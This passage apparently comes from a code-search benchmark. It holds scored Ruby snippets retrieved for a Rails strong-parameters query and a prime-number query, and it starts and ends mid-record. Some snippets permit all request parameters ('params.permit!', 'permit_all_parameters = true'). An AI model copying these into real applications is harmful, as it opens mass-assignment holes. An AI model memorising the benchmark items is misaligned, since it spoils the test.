"score": "0.6097207",
"text": "def create(access_token, account_id)\n payload = { access_token: access_token,\n account_id: account_id }\n @client.post_with_auth('processor/stripe/bank_account_token/create',\n payload)\n end",
"title": ""
},
{
"docid": "7873414b6877671e806b395072a8f980",
"score": "0.609699",
"text": "def create\n# @bank_deposit = BankDeposit.by_company(current_company.id).new(params[:bank_deposit])\n @bank_deposit = BankDeposit.new(params[:bank_deposit])\n\n respond_to do |format|\n if @bank_deposit.save\n format.html { redirect_to(@bank_deposit, :notice => t('scaffold.notice.created', :item=> BankDeposit.model_name.human)) }\n format.xml { render :xml => @bank_deposit, :status => :created, :location => @bank_deposit }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bank_deposit.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "16cde7bbbd25791cfa3c7ec522d508cc",
"score": "0.6094849",
"text": "def create\n\t\t@amount =params[:amount].to_f\n\t\t@wallet = current_admin.wallet\n\t\t# amount must be greater than wallet\n\t\tif @wallet.balance < @amount\n\t\t\tredirect_to root_path,flash[:error]= \"No Sufficient balance \" \n\t\t\treturn\n\t\telse\n\t\t\tloop do \n\t\t\t\t@transaction_reference = ( \"transaction\" + [*(0..9)].sample(10).join.to_s )\n\t\t\t\tbreak @transaction_reference unless TransactionHistory.exists?(reference_id: @transaction_reference)\n\t\t\tend\n\t\t\t@transaction_history = TransactionHistory.new\n\t\t\t@transaction_history.admin_id = current_admin.id\n\t\t\t@transaction_history.reference_id = @transaction_reference\n\t\t\t@transaction_history.status = \"credited\"\n\t\t\t@transaction_history.withdraw_amount = @amount\n\t\t\t@transaction_history.current_wallet_amount = @wallet.balance - @amount\n\t\t\t@transaction_history.save\n\t\tend \n\tend",
"title": ""
},
{
"docid": "56895b67cf1c2e275d4a0f02aea1880d",
"score": "0.60919076",
"text": "def create(body = {})\n @client.app_transfer.create(body)\n end",
"title": ""
},
{
"docid": "366bc491415e20a4d2b752c9acd16681",
"score": "0.60852486",
"text": "def create\r\n @debt = Debt.new(debt_params)\r\n\r\n respond_to do |format|\r\n if @debt.save\r\n format.html { redirect_to @debt, notice: 'Debt was successfully created.' }\r\n format.json { render :show, status: :created, location: @debt }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @debt.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "16fa58e2b441cd7c5a5e0924b03a78f8",
"score": "0.60826993",
"text": "def create\n @balance = Balance.new(params[:balance])\n\n respond_to do |format|\n if @balance.save\n format.html { redirect_to @balance, notice: 'Balance was successfully created.' }\n format.json { render json: @balance, status: :created, location: @balance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @balance.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "536e3acb205a7ba5f2edbeb38deaffa0",
"score": "0.6080376",
"text": "def create\n @bank_info = BankInfo.new(params[:bank_info])\n\n respond_to do |format|\n if @bank_info.save\n format.html { redirect_to(@bank_info, :notice => 'Bank info was successfully created.') }\n format.xml { render :xml => @bank_info, :status => :created, :location => @bank_info }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bank_info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "70252eb4e213e4cdce80d7e5f9b2fafc",
"score": "0.6074904",
"text": "def create\n \n @bank_account = @organism.bank_accounts.new(params[:bank_account])\n\n respond_to do |format|\n if @bank_account.save\n format.html { redirect_to admin_organism_bank_accounts_url(@organism), notice: 'Le compte bancaire a été créé.' }\n format.json { render json: @bank_account, status: :created, location: @bank_account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bank_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60 | Never trust parameters from the scary internet, only allow the white list through. | [
{
"docid": "70860102cebf3d0e53fc129aa9f128e8",
"score": "0.0",
"text": "def gateway_stat_params\n params.require(:gateway_stat).permit(:serial_num, :date, :onlineDev, :signal, :lqi, :rssi, :correlation, :rcvPkts, :sentPkts, :lastReboot, :temp, :battery, :vKl, :vZigbee, :errorsCount, :alerts, :acPwr)\n end",
"title": ""
}
] | [
{
"docid": "e164094e79744552ae1c53246ce8a56c",
"score": "0.69792545",
"text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e662f0574b56baff056c6fc4d8aa1f47",
"score": "0.6781151",
"text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1677b416ad07c203256985063859691b",
"score": "0.67419964",
"text": "def allow_params_authentication!; end",
"title": ""
},
{
"docid": "c1f317213d917a1e3cfa584197f82e6c",
"score": "0.674013",
"text": "def allowed_params\n ALLOWED_PARAMS\n end",
"title": ""
},
{
"docid": "547b7ab7c31effd8dcf394d3d38974ff",
"score": "0.6734356",
"text": "def default_param_whitelist\n [\"mode\"]\n end",
"title": ""
},
{
"docid": "a91e9bf1896870368befe529c0e977e2",
"score": "0.6591046",
"text": "def param_whitelist\n [:role, :title]\n end",
"title": ""
},
{
"docid": "b32229655ba2c32ebe754084ef912a1a",
"score": "0.6502396",
"text": "def expected_permitted_parameter_names; end",
"title": ""
},
{
"docid": "3a9a65d2bba924ee9b0f67cb77596482",
"score": "0.6496313",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "068f8502695b7c7f6d382f8470180ede",
"score": "0.6480641",
"text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "c04a150a23595af2a3d515d0dfc34fdd",
"score": "0.64565",
"text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "9a2a1af8f52169bd818b039ef030f513",
"score": "0.6438387",
"text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"title": ""
},
{
"docid": "c5f294dd85260b1f3431a1fbbc1fb214",
"score": "0.63791263",
"text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "631f07548a1913ef9e20ecf7007800e5",
"score": "0.63740575",
"text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"title": ""
},
{
"docid": "9735bbaa391eab421b71a4c1436d109e",
"score": "0.6364131",
"text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "12fa2760f5d16a1c46a00ddb41e4bce2",
"score": "0.63192815",
"text": "def param_whitelist\n [:rating, :review]\n end",
"title": ""
},
{
"docid": "f12336a181f3c43ac8239e5d0a59b5b4",
"score": "0.62991166",
"text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "c25a1ea70011796c8fcd4927846f7a04",
"score": "0.62978333",
"text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "822c743e15dd9236d965d12beef67e0c",
"score": "0.6292148",
"text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"title": ""
},
{
"docid": "7f0fd756d3ff6be4725a2c0449076c58",
"score": "0.6290449",
"text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"title": ""
},
{
"docid": "9d23b31178b8be81fe8f1d20c154336f",
"score": "0.6290076",
"text": "def valid_params_request?; end",
"title": ""
},
{
"docid": "533f1ba4c3ab55e79ed9b259f67a70fb",
"score": "0.62894756",
"text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "5f16bb22cb90bcfdf354975d17e4e329",
"score": "0.6283177",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "1dfca9e0e667b83a9e2312940f7dc40c",
"score": "0.6242471",
"text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"title": ""
},
{
"docid": "a44360e98883e4787a9591c602282c4b",
"score": "0.62382483",
"text": "def allowed_params\n params.require(:allowed).permit(:email)\n end",
"title": ""
},
{
"docid": "4fc36c3400f3d5ca3ad7dc2ed185f213",
"score": "0.6217549",
"text": "def permitted_params\n []\n end",
"title": ""
},
{
"docid": "7a218670e6f6c68ab2283e84c2de7ba8",
"score": "0.6214457",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "b074031c75c664c39575ac306e13028f",
"score": "0.6209053",
"text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"title": ""
},
{
"docid": "0cb77c561c62c78c958664a36507a7c9",
"score": "0.6193042",
"text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"title": ""
},
{
"docid": "9892d8126849ccccec9c8726d75ff173",
"score": "0.6177802",
"text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e3089e0811fa34ce509d69d488c75306",
"score": "0.6174604",
"text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"title": ""
},
{
"docid": "7b7196fbaee9e8777af48e4efcaca764",
"score": "0.61714715",
"text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"title": ""
},
{
"docid": "9d589006a5ea3bb58e5649f404ab60fb",
"score": "0.6161512",
"text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"title": ""
},
{
"docid": "d578c7096a9ab2d0edfc431732f63e7f",
"score": "0.6151757",
"text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "38a9fb6bd1d9ae5933b748c181928a6b",
"score": "0.6150663",
"text": "def safe_params\n params.require(:user).permit(:name)\n end",
"title": ""
},
{
"docid": "7a6fbcc670a51834f69842348595cc79",
"score": "0.61461",
"text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"title": ""
},
{
"docid": "fe4025b0dd554f11ce9a4c7a40059912",
"score": "0.61213595",
"text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "60ccf77b296ed68c1cb5cb262bacf874",
"score": "0.6106206",
"text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9",
"score": "0.6105114",
"text": "def quote_params\n params.permit!\n end",
"title": ""
},
{
"docid": "86b2d48cb84654e19b91d9d3cbc2ff80",
"score": "0.6089039",
"text": "def valid_params?; end",
"title": ""
},
{
"docid": "34d018968dad9fa791c1df1b3aaeccd1",
"score": "0.6081015",
"text": "def paramunold_params\n params.require(:paramunold).permit!\n end",
"title": ""
},
{
"docid": "6d41ae38c20b78a3c0714db143b6c868",
"score": "0.6071004",
"text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "49052f91dd936c0acf416f1b9e46cf8b",
"score": "0.6019971",
"text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"title": ""
},
{
"docid": "5eaf08f3ad47cc781c4c1a5453555b9c",
"score": "0.601788",
"text": "def filtering_params\n params.permit(:email, :name)\n end",
"title": ""
},
{
"docid": "5ee931ad3419145387a2dc5a284c6fb6",
"score": "0.6011056",
"text": "def check_params\n true\n end",
"title": ""
},
{
"docid": "3b17d5ad24c17e9a4c352d954737665d",
"score": "0.6010898",
"text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "74c092f6d50c271d51256cf52450605f",
"score": "0.6001556",
"text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"title": ""
},
{
"docid": "75415bb78d3a2b57d539f03a4afeaefc",
"score": "0.6001049",
"text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"title": ""
},
{
"docid": "bb32aa218785dcd548537db61ecc61de",
"score": "0.59943926",
"text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"title": ""
},
{
"docid": "65fa57add93316c7c8c6d8a0b4083d0e",
"score": "0.5992201",
"text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"title": ""
},
{
"docid": "865a5fdd77ce5687a127e85fc77cd0e7",
"score": "0.59909594",
"text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "ec609e2fe8d3137398f874bf5ef5dd01",
"score": "0.5990628",
"text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"title": ""
},
{
"docid": "423b4bad23126b332e80a303c3518a1e",
"score": "0.5980841",
"text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"title": ""
},
{
"docid": "48e86c5f3ec8a8981d8293506350accc",
"score": "0.59669393",
"text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"title": ""
},
{
"docid": "9f774a9b74e6cafa3dd7fcc914400b24",
"score": "0.59589154",
"text": "def active_code_params\n params[:active_code].permit\n end",
"title": ""
},
{
"docid": "a573514ae008b7c355d2b7c7f391e4ee",
"score": "0.5958826",
"text": "def filtering_params\n params.permit(:email)\n end",
"title": ""
},
{
"docid": "2202d6d61570af89552803ad144e1fe7",
"score": "0.5957911",
"text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"title": ""
},
{
"docid": "8b571e320cf4baff8f6abe62e4143b73",
"score": "0.5957385",
"text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"title": ""
},
{
"docid": "d493d59391b220488fdc1f30bd1be261",
"score": "0.5953072",
"text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"title": ""
},
{
"docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a",
"score": "0.59526145",
"text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"title": ""
},
{
"docid": "4e6017dd56aab21951f75b1ff822e78a",
"score": "0.5943361",
"text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"title": ""
},
{
"docid": "67fe19aa3f1169678aa999df9f0f7e95",
"score": "0.59386164",
"text": "def list_params\n params.permit(:name)\n end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.59375334",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.59375334",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "5060615f2c808bab2d45f4d281987903",
"score": "0.5933856",
"text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"title": ""
},
{
"docid": "7fa620eeb32e576da67f175eea6e6fa0",
"score": "0.59292704",
"text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"title": ""
},
{
"docid": "d9483565c400cd4cb1096081599a7afc",
"score": "0.59254247",
"text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"title": ""
},
{
"docid": "f7c6dad942d4865bdd100b495b938f50",
"score": "0.5924164",
"text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"title": ""
},
{
"docid": "70fa55746056e81854d70a51e822de66",
"score": "0.59167904",
"text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"title": ""
},
{
"docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa",
"score": "0.59088355",
"text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"title": ""
},
{
"docid": "3eef50b797f6aa8c4def3969457f45dd",
"score": "0.5907542",
"text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "753b67fc94e3cd8d6ff2024ce39dce9f",
"score": "0.59064597",
"text": "def url_whitelist; end",
"title": ""
},
{
"docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c",
"score": "0.5906243",
"text": "def admin_social_network_params\n params.require(:social_network).permit!\n end",
"title": ""
},
{
"docid": "5bdab99069d741cb3414bbd47400babb",
"score": "0.5898226",
"text": "def filter_params\n params.require(:filters).permit(:letters)\n end",
"title": ""
},
{
"docid": "7c5ee86a81b391c12dc28a6fe333c0a8",
"score": "0.589687",
"text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"title": ""
},
{
"docid": "de77f0ab5c853b95989bc97c90c68f68",
"score": "0.5896091",
"text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "29d030b36f50179adf03254f7954c362",
"score": "0.5894501",
"text": "def sensitive_params=(params)\n @sensitive_params = params\n end",
"title": ""
},
{
"docid": "bf321f5f57841bb0f8c872ef765f491f",
"score": "0.5894289",
"text": "def permit_request_params\n params.permit(:address)\n end",
"title": ""
},
{
"docid": "5186021506f83eb2f6e244d943b19970",
"score": "0.5891739",
"text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"title": ""
},
{
"docid": "b85a12ab41643078cb8da859e342acd5",
"score": "0.58860534",
"text": "def secure_params\n params.require(:location).permit(:name)\n end",
"title": ""
},
{
"docid": "46e104db6a3ac3601fe5904e4d5c425c",
"score": "0.5882406",
"text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"title": ""
},
{
"docid": "abca6170eec412a7337563085a3a4af2",
"score": "0.587974",
"text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"title": ""
},
{
"docid": "26a35c2ace1a305199189db9e03329f1",
"score": "0.58738774",
"text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "de49fd084b37115524e08d6e4caf562d",
"score": "0.5869024",
"text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"title": ""
},
{
"docid": "7b7ecfcd484357c3ae3897515fd2931d",
"score": "0.58679986",
"text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "0016f219c5d958f9b730e0824eca9c4a",
"score": "0.5867561",
"text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"title": ""
},
{
"docid": "8aa9e548d99691623d72891f5acc5cdb",
"score": "0.5865932",
"text": "def url_params\n params[:url].permit(:full)\n end",
"title": ""
},
{
"docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3",
"score": "0.5864461",
"text": "def backend_user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "be95d72f5776c94cb1a4109682b7b224",
"score": "0.58639693",
"text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"title": ""
},
{
"docid": "967c637f06ec2ba8f24e84f6a19f3cf5",
"score": "0.58617616",
"text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"title": ""
},
{
"docid": "e4a29797f9bdada732853b2ce3c1d12a",
"score": "0.5861436",
"text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"title": ""
},
{
"docid": "d14f33ed4a16a55600c556743366c501",
"score": "0.5860451",
"text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"title": ""
},
{
"docid": "46cb58d8f18fe71db8662f81ed404ed8",
"score": "0.58602303",
"text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"title": ""
},
{
"docid": "7e9a6d6c90f9973c93c26bcfc373a1b3",
"score": "0.5854586",
"text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"title": ""
},
{
"docid": "ad61e41ab347cd815d8a7964a4ed7947",
"score": "0.58537364",
"text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"title": ""
},
{
"docid": "8894a3d0d0ad5122c85b0bf4ce4080a6",
"score": "0.5850427",
"text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"title": ""
},
{
"docid": "53d84ad5aa2c5124fa307752101aced3",
"score": "0.5850199",
"text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"title": ""
}
] |
7b722c6d86ba086a36424ecd714d8874 | Write a method that takes two numbers. It should print out all primes between the two numbers. Don't use Ruby's 'prime' class. find_primes(3, 10) => 3, 5, 7 | [
{
"docid": "3399314acda64dbe107efb4994df2d09",
"score": "0.0",
"text": "def is_prime?(num)\n (2..(num - 1)).each do |divisor|\n return false if num % divisor == 0\n end\n\n true\nend",
"title": ""
}
] | [
{
"docid": "9472a406038cb9f1cd25dbcce89c5e90",
"score": "0.83380294",
"text": "def find_primes(int1, int2)\n nums = (int1..int2).to_a\n nums.select { |num| is_prime?(num) }\nend",
"title": ""
},
{
"docid": "37f18c24271db4b11dd030b1555e951c",
"score": "0.7932992",
"text": "def ruby_prime(n1, n2)\n prime_numbers = []\n (n1..n2).each do |num|\n if Prime.prime?(num)\n prime_numbers << num\n end\n end\n prime_numbers\nend",
"title": ""
},
{
"docid": "185490cfca394f125302c8de6aca1494",
"score": "0.7801728",
"text": "def find_primes(start_num, end_num)\n (start_num..end_num).select { |num| prime?(num) }.join(', ')\nend",
"title": ""
},
{
"docid": "273745436366b00c34ccb1ce8c084e86",
"score": "0.75209963",
"text": "def main\n low = 10;\n high = 20;\n\tputs(\"[INPUT] low: %d\\thigh: %d\" % [low, high]);\n primesInRange(low, high);\nend",
"title": ""
},
{
"docid": "c307c9bd274539dd71fe54ad0530dc7b",
"score": "0.7464552",
"text": "def get_primes limit\n\tnums = (1...limit).select { |n| n.prime? }\n\n\tp nums\nend",
"title": ""
},
{
"docid": "b3969eda77802e7520020839047bdbdb",
"score": "0.7381311",
"text": "def find_primes(first, last)\n result = []\n (first..last).each { |num| result << num if prime?(num) }\n result.join(', ')\nend",
"title": ""
},
{
"docid": "a04924354ea2cbe2c1c61d0636911f19",
"score": "0.7347224",
"text": "def getPrimes()\n oldlimit = $primelimit + 1\n $primelimit *= 2\n\n for i in oldlimit...$primelimit\n isPrime = true\n $primes.each do |p|\n if i % p == 0\n isPrime = false\n break\n end\n end\n if isPrime\n $primes << i\n end\n end\n\nend",
"title": ""
},
{
"docid": "80314a18d6d5b1520ae168b236879c8a",
"score": "0.7262234",
"text": "def get_primes(limit)\n primes = []\n (2...limit).each do |number|\n primes << number if is_prime?(number)\n end\n primes\nend",
"title": ""
},
{
"docid": "d16756ab5c3727d774b9abfaedad23f8",
"score": "0.72512764",
"text": "def primes\n\t\t# primes = []\n\t\t# primes << 2\n\t\tprimes = [2] # combined previous two lines\n\t\tx = 3\n\n\t\tloop do\n\t\t\tbreak if primes.length == @n_primes # End loop when desired number has been calculated\n\t\t# while primes.length < @n_primes # Alternative 1 to loop do, break\n\t\t# until primes.length == @n_primes # Alternative 2 to loop do, break\n\t\t\ty = 3\n\t\t\ty += 2 until x % y == 0 # Loop to test if x is divisible by any odd number below it, y\n\t\t\tprimes << x if x == y # If the (odd) number was not divisible by any (odd) below itself, it is a prime\n\t\t\tx += 2\n\t\tend\n\n\t\treturn primes\n\tend",
"title": ""
},
{
"docid": "b13f84e1b8ed70c8b8ef56711a88d736",
"score": "0.72361696",
"text": "def primes(num)\n \nend",
"title": ""
},
{
"docid": "b13f84e1b8ed70c8b8ef56711a88d736",
"score": "0.72361696",
"text": "def primes(num)\n \nend",
"title": ""
},
{
"docid": "b13f84e1b8ed70c8b8ef56711a88d736",
"score": "0.72361696",
"text": "def primes(num)\n \nend",
"title": ""
},
{
"docid": "b13f84e1b8ed70c8b8ef56711a88d736",
"score": "0.72361696",
"text": "def primes(num)\n \nend",
"title": ""
},
{
"docid": "85180f9d7db22de73769faddc934cd43",
"score": "0.7225666",
"text": "def prime_r( start, stop )\n ( start..stop ).select { | n | prime? n }\nend",
"title": ""
},
{
"docid": "b6eaced01c24420fea64b3791e57f727",
"score": "0.72136164",
